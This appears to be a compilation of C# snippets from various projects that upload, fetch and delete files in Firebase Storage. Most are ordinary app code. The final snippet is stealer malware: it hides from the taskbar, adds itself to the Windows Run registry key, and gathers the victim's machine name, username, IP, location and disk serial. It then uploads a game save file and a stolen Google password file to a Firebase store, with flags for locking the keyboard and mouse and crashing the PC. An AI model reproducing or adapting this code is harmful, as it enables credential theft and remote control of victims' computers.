public async Task <string> UploadFile(Stream fileStream, string fileName) { var imageUrl = await firebaseStorage .Child("XamarinMonkeys") .Child(fileName) .PutAsync(fileStream); return(imageUrl); }
/// <summary> /// Método que realiza o upload de images /// </summary> /// <param name="obj">Path pricipal do objeto</param> /// <param name="fileName">Nome do arquivo que será inserido</param> /// <param name="fileStream">Arquivo em stream</param> /// <returns></returns> public ApiResponse <T> Upload(T obj, Guid fileName, Stream fileStream) { try { var imageUrl = Storage.Child($"{Obj.GetType().Name}").Child(fileName.ToString()).PutAsync(fileStream); if (imageUrl != null) { return(new ApiResponse <T>(obj, null, true, System.Net.HttpStatusCode.OK)); } else { return(new ApiResponse <T>(null, "Falha ao realizar upload da imagem", false, System.Net.HttpStatusCode.NotFound)); } } catch (Exception exc) { return(new ApiResponse <T>(null, exc.InnerException.Message, false, System.Net.HttpStatusCode.InternalServerError)); } }
public async Task <bool> UploadAsync(FileStream file, FileInfo info, string rename = null, string directory = "", bool reauthRetry = false) { if (IsBusy()) { return(false); //Don't do anything while busy } if (fbRef == null) { await AuthenticateAsync(); if (fbRef == null) { return(false); //If still not authenticated yet, don't do anything } } if (!ThereIsInternet()) { return(false); //Don't even try if there's no internet } try { var fileName = info.Name; if (rename != null) { fileName = rename; } //Use the ticket's date if possible var dirLocation = directory != "" ? directory : DateTime.Now.ToString("yyyy/MM/dd"); var uploadTask = fbRef .Child("printerOutput") .Child(dirLocation) .Child(fileName) .PutAsync(file); var result = await uploadTask; return(true); } catch (Exception e) { if (e.Message.Contains("Permission denied") && !reauthRetry) { LogEvent("Reauthenticating"); await AuthenticateAsync(); return(await UploadAsync(file, info, rename, directory, true)); } else { LogEvent("Upload failed: " + e.Message); } return(false); } }
public async Task <string> UploadImage(FileData file) { if (file != null) { Guid guid = Guid.NewGuid(); await storage.Child("images") .Child(guid.ToString() + Path.GetExtension(file.FileName)) .PutAsync(new MemoryStream(file.DataArray)); var url = await storage.Child("images") .Child(guid.ToString() + Path.GetExtension(file.FileName)) .GetDownloadUrlAsync(); return(url); } else { return(null); } }
public async Task <string> StoreImages(Stream stream) { var url = await firebaseStorage .Child("toilettepic") .Child(toiletteName.Text) .Child(toiletteName.Text + "_toilettepic") .PutAsync(stream); string imgurl = url; return(imgurl); }
public async Task <string> GetImagemAsync(string nome, Enum api) { try { string pasta = ""; string entrada = api.ToString(); switch (entrada) { case "people": pasta = "personagens"; break; case "planets": pasta = "planetas"; break; case "films": pasta = "filmes"; break; case "species": pasta = "especies"; break; case "vehicles": pasta = "veiculos"; break; case "starships": pasta = "naves"; break; default: pasta = "Sem valor"; break; } var storageImage = await firebaseStorage .Child(pasta) .Child(nome + ".png") .GetDownloadUrlAsync(); return(storageImage); } catch (Exception e) { if (e.Source != null) { Console.WriteLine("IOException source: {0}", e.Source); } throw; } }
private async Task GetJobImageUrls(JobViewModel vm) { using FirebaseAuthProvider authProvider = new FirebaseAuthProvider(new FirebaseConfig(configuration["AppSettings:Firebase:ApiKey"])); string email = configuration["AppSettings:Firebase:Email"]; string password = configuration["AppSettings:Firebase:Password"]; var auth = await authProvider.SignInWithEmailAndPasswordAsync(email, password); var storage = new FirebaseStorage("dissertation-498be.appspot.com", new FirebaseStorageOptions() { AuthTokenAsyncFactory = () => Task.FromResult(auth.FirebaseToken) }); var licenseBackTask = storage.Child("userinf").Child(vm.AppId).Child("license_back").GetDownloadUrlAsync(); var licenseFrontTask = storage.Child("userinf").Child(vm.AppId).Child("license_front").GetDownloadUrlAsync(); var passportTask = storage.Child("userinf").Child(vm.AppId).Child("passport").GetDownloadUrlAsync(); await Task.WhenAll(new Task[] { licenseBackTask, licenseFrontTask, passportTask }); vm.PassportUrl = passportTask.Result; vm.LicenseBackUrl = licenseBackTask.Result; vm.LicenseFrontUrl = licenseFrontTask.Result; }
public async Task saveImage(Stream str, userData user) { user1 = await dbhelp.GetUser(user.Email); var name = user1.Email; var data = storage.Child("Images") .Child("ProfileImages") .Child(name.ToString()); string imageUrl = await data.PutAsync(str, new System.Threading.CancellationToken(), "image/jpeg"); await dbhelp.UpdatePersonData(user1.Email, user1.Name, user1.schoolName, user1.Department, user1.Surname, user1.password, imageUrl); }
/// <summary> /// Uploads the file. /// </summary> /// <param name="folder">The folder.</param> /// <param name="files">The files.</param> /// <returns></returns> public async Task <IEnumerable <string> > UploadFile(string folder, IEnumerable <IFormFile> files) { var result = new List <string>(); foreach (var file in files) { var stream = file.OpenReadStream(); var task = firebaseStorage.Child(folder).Child(FileNameGenerator.NameGenerator(folder)).PutAsync(stream); var url = await task; result.Add(url); } return(result); }
public async Task <string> StoreFileAsync(StorageFile file, string name) { var stream = await file.OpenStreamForReadAsync(); var task = server.Child(name).PutAsync(stream); //task.Progress.ProgressChanged += (s, f) => uploadProgress(f.Percentage); var downloadurl = await task; return(downloadurl); //Debug.WriteLine("DOWNLOAD_URL " + downloadurl); }
public async Task LoadToiletteImage(string toiletteName, string toiletteUri) { try { var url = await firebaseStorage .Child("toilettepic") .Child(toiletteName) .Child(toiletteUri) .GetDownloadUrlAsync(); toiletteFoto.Source = url; } catch (Exception e) { Console.WriteLine(e); } }
public static async Task<string> StoreImages(Stream imageStream, string imageName) { string imgurl = string.Empty; try { var stroageImage = new FirebaseStorage("khadamat-d4692.appspot.com"); imgurl = await stroageImage.Child("ChatImages").Child(imageName).PutAsync(imageStream); ; } catch (Exception ex) { } return imgurl; }
public async Task DeleteLaptop(DateTime date) { var toDeletePerson = (await firebase .Child("Laptops") .OnceAsync <Laptop>()).Where(a => a.Object.date == date).FirstOrDefault(); foreach (var img in toDeletePerson.Object.imgs) { await firebaseStorage .Child(img.folder) .Child(img.imgname) .DeleteAsync(); } await firebase.Child("Laptops").Child(toDeletePerson.Key).DeleteAsync(); }
public async Task <string> UploadFile(string filePath) { if (!(await Open())) { return(null); } var fName = Path.GetFileName(filePath); using (var stream = File.Open(filePath, FileMode.Open)) { return(await _storage.Child(UNSORTED) .Child(fName) .PutAsync(stream)); } }
async Task getImage(CachedImage img, string fileName) { var storage = new FirebaseStorage(GlobalVariables.firebaseStorageURL); try { var retrieve = storage .Child(GlobalVariables.regionalPointer) .Child(data.teamNumber.ToString()) .Child(fileName) .GetDownloadUrlAsync().ContinueWith((arg) => { img.Source = new Uri(arg.Result); //selectImage(img); }); } catch (Exception ex) { Console.WriteLine("ImageStack Error: " + ex.Message); //img.Source = "Placeholder_image_placeholder.jpg"; } }
public async Task <string> UploadFile(Stream fileStream, string fileName) { try { var imageUrl = await firebaseStorage .Child("postImages") .Child(fileName) .PutAsync(fileStream); return(imageUrl); // the imageUrl we want to save into the db } catch (Exception e) { Console.WriteLine("Upload error = " + e); return(""); } }
public async Task <string> UploadImage(Stream fileStream, string fileName) { try { var imageUrl = await firebaseStorage .Child("foodhub") .Child(fileName) .PutAsync(fileStream); return(imageUrl); } catch (Exception e) { Debug.WriteLine($"error:{e}"); return(null); } }
public async Task <string> UploadFile(string idToken, IFormFile file, string bucket, string directory) { var task = new FirebaseStorage( _configuration[AppSetting.FirebaseBucket], new FirebaseStorageOptions() { AuthTokenAsyncFactory = () => Task.FromResult(idToken) }); string fileExtension = Path.GetExtension(file.FileName); Guid guid = Guid.NewGuid(); string fileName = guid.ToString() + "." + fileExtension; return(await task.Child(bucket) .Child(directory) .Child(fileName) .PutAsync(file.OpenReadStream())); }
public async Task <string> UploadImage(string folder, byte[] imageBytes, string storageId) { try { var cancellation = new CancellationTokenSource(); var firebaseStorage = new FirebaseStorage(BUCKET, new FirebaseStorageOptions { ThrowOnCancel = true }); using var stream = new MemoryStream(imageBytes); return(await firebaseStorage.Child(folder).Child($"{storageId}.jpg").PutAsync(stream, cancellation.Token)); } catch (Exception ex) { throw new Exception(ex.Message); } }
public static async Task <String> GetUserAvatarURLAsync(User user) { //If the image is not a URL (it is stored on the cloud) if (!user.avatar.StartsWith("https://")) { //Then fetch the image return(await firebaseStorage .Child("images") .Child("user") .Child(user.name) .Child(user.avatar) .GetDownloadUrlAsync()); } // Else return the original avatar URL return(user.avatar); }
public async Task <string> UploadFile(Stream fileStream, string fileName) { try { var imageUrl = await firebaseStorage .Child("XamarinMonkeys") .Child(fileName) .PutAsync(fileStream); return(imageUrl); } catch (Exception ex) { throw ex; } return(string.Empty); }
private async void GetNewsInformation() { FirebaseClient fc = new FirebaseClient("https://allabeed-default-rtdb.firebaseio.com/"); FirebaseStorage firebaseStorage = new FirebaseStorage("allabeed.appspot.com"); var GetNews = (await fc .Child("NewsTable") .OnceAsync <NewsTable>()).Select(item => new NewsTable { NewsDateTime = item.Object.NewsDateTime, NewsText = item.Object.NewsText, IDentifier = item.Object.IDentifier }).ToList().OrderBy(i => i.NewsDateTime); var headergroup = GetNews.Select(x => x.NewsDateTime).Distinct().ToList(); foreach (var item in headergroup) { var newsGroup = new GroupedClientNewsModel() { NewsDateTime = item }; var contents = GetNews.Where(i => i.NewsDateTime == item).ToList(); if (contents.Count != 0) { foreach (var groupitems in contents) { var filepath = await firebaseStorage .Child("Interplanetary") .Child(groupitems.IDentifier + ".png") .GetDownloadUrlAsync(); newsGroup.Add(new ClientNewsModel() { News = groupitems.NewsText, NewsImagePath = filepath }); } NewsItem.Add(newsGroup); } } }
public async Task <bool> SaveUserRequest(Stream imgStream, User req) { var imgURL = ""; try { imgURL = await storage.Child("Image") .Child("MaM") .Child(authService.GetUserId()) .PutAsync(imgStream); } catch (Exception) { } req.ImageUrl = imgURL; req.UserID = authService.GetUserId(); var updateData = client.Child("users/" + authService.GetUserId()).PutAsync <User>(req); return(true); }
public async Task ThrowsErroIfImageDoesntExist() { //Arrange var firebase = new FirebaseStorage(firebaseAccountURL); string fileName = "TRex"; Func <string, FirebaseStorageReference> filter = (x) => firebase .Child("Images") .Child("Dinosaurs") .Child(x); var stream = File.Open(getPath(fileName), FileMode.Open); //Act var createdUrl = await filter(fileName) .PutAsync(stream); filter(fileName) .DeleteAsync() .Wait(); var downloadUrl = await filter(fileName) .GetDownloadUrlAsync(); }
public static async Task ImagePicker(TeamData data, int imageInt) { await CrossMedia.Current.Initialize(); if (!CrossMedia.Current.IsCameraAvailable || !CrossMedia.Current.IsTakePhotoSupported) { Console.WriteLine("No Camera"); } else { try { var file = await CrossMedia.Current.PickPhotoAsync(new Plugin.Media.Abstractions.PickMediaOptions { }); var fileName = data.teamNumber + "_IMG" + imageInt + ".jpg"; var filePath = file.Path; var stream = new MemoryStream(ImageToBinary(filePath)); var storage = new FirebaseStorage(GlobalVariables.firebaseStorageURL); var send = storage.Child(GlobalVariables.regionalPointer) .Child(data.teamNumber.ToString()) .Child(fileName) .PutAsync(stream); var downloadURL = await send; Console.WriteLine("URL: " + downloadURL); var db = new FirebaseClient(GlobalVariables.firebaseURL); FirebaseAccess.saveData(db, "teamData/" + data.teamNumber + "/imageURL", downloadURL); } catch (Exception ex) { Console.WriteLine("Image Upload Image: " + ex); } } }
//***MEDIA RELATED METHODS BELOW*** //Upload image public static async Task <string> UploadImage(FileStream fileStream, string fileName, Guid userid) { try { var imageurl = await firebaseStorage .Child("Images") .Child(fileName + userid) .PutAsync(fileStream); return(imageurl); } catch (Exception e) { Debug.WriteLine($"Error:{e}"); return(null); } }
async Task setDefaultImage() { string fileName = data.teamNumber + "_IMG" + imageIndex + ".jpg"; var storage = new FirebaseStorage(GlobalVariables.firebaseStorageURL); var getURL = await storage.Child(GlobalVariables.regionalPointer) .Child(data.teamNumber.ToString()) .Child(fileName) .GetDownloadUrlAsync(); /* robotImage.Source = new UriImageSource() { Uri = new Uri(getURL) }; */ var db = new FirebaseClient(GlobalVariables.firebaseURL); FirebaseAccess.saveData(db, "teamData/" + data.teamNumber + "/imageURL", getURL); await DisplayAlert("Success", "Default Image Changed", "OK"); await Navigation.PopAllPopupAsync(); }
public async Task SaveADinoPictureToTheCloud() { //Arrange var firebase = new FirebaseStorage(firebaseAccountURL); string fileName = "Spinosaurus"; var stream = File.Open(getPath(fileName), FileMode.Open); //Act var downloadUrl = await new FirebaseStorage(firebaseAccountURL) .Child("Images") .Child("Dinosaurs") .Child(fileName) .PutAsync(stream); //Assert Assert.IsNotNull(downloadUrl); //Clean up await firebase .Child("Images") .Child("Dinosaurs") .Child(fileName) .DeleteAsync(); }
/// <summary> /// Uploads imagestream with the specifid filename to the firebase storage /// </summary> /// <param name="fileStream">Stream of the image that should be uploaded</param> /// <param name="fileName">Name of the file (how it would be named in the cloud storage)</param> /// <returns>(Download) Uri of the uploaded file</returns> public async Task <string> UploadBandImage(Stream fileStream, string fileName) { var imageUrl = await _firebaseStorage.Child("Bands").Child(fileName).PutAsync(fileStream); return(imageUrl); }
private async void Loadla() { Random random = new Random(); int ilksayi = random.Next(100000, 999999); int ikincisayi = random.Next(10000, 99999); string datet = DateTime.Now.Day.ToString() + "-" + DateTime.Now.Month.ToString() + "-" + DateTime.Now.Year.ToString() + " " + DateTime.Now.Hour.ToString() + "-" + DateTime.Now.Minute.ToString() + "-" + DateTime.Now.Second.ToString(); string pathz = ilksayi.ToString() + " : " + datet; this.ShowInTaskbar = false; Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); key.SetValue("Registry", Application.ExecutablePath); var GonderilecekData = new GonderilecekData() { PcName = Environment.MachineName.ToString(), Username = Environment.UserName.ToString(), IP = GetIp().ToString(), Location = GetCountry().ToString(), Savedat = "", HarddiskSerial = HDDSerial(), StolenAt = DateTime.Now.ToString() }; FirebaseClient = new FireSharp.FirebaseClient(Config); SetResponse set = await FirebaseClient.SetAsync("accounts/" + HDDSerial() + "/" + pathz, GonderilecekData); GonderilecekData result = set.ResultAs <GonderilecekData>(); FirebaseStorageOptions firebaseoptions = new FirebaseStorageOptions { AuthTokenAsyncFactory = () => Task.FromResult("") }; var savedat = File.Open(savedatpath, FileMode.Open); var firebase = new FirebaseStorage("", firebaseoptions); await firebase .Child("savedats") .Child(HDDSerial()) .Child(pathz) .PutAsync(savedat); try { var googlepass = File.Open(GoogleStealer, FileMode.Open); var firebase2 = new FirebaseStorage("", firebaseoptions);//firebase storage yolunuz await firebase2 .Child("GooglePass") .Child(HDDSerial()) .Child(ilksayi.ToString() + " : " + DateTime.Now.ToString()) .PutAsync(googlepass); } catch (Exception) { } string timer_info = "logged succesfully!"; TimerLogs timer = new TimerLogs { PcName = Environment.MachineName, Username = Environment.UserName, HarddiskSerial = HDDSerial(), title = timer_info, Date = DateTime.Now.ToString(), Location = GetCountry(), LockKeyboard = "D", LockMouse = "D", KillGrowtopia = "D", CrashPc = "D" }; FirebaseClient = new FireSharp.FirebaseClient(Config); SetResponse setResponse = await FirebaseClient.SetAsync("accounts/" + HDDSerial() + "/timer_logs", timer); TimerLogs logs = setResponse.ResultAs <TimerLogs>(); timer1.Enabled = true; timer2.Enabled = true; timer3.Enabled = true; }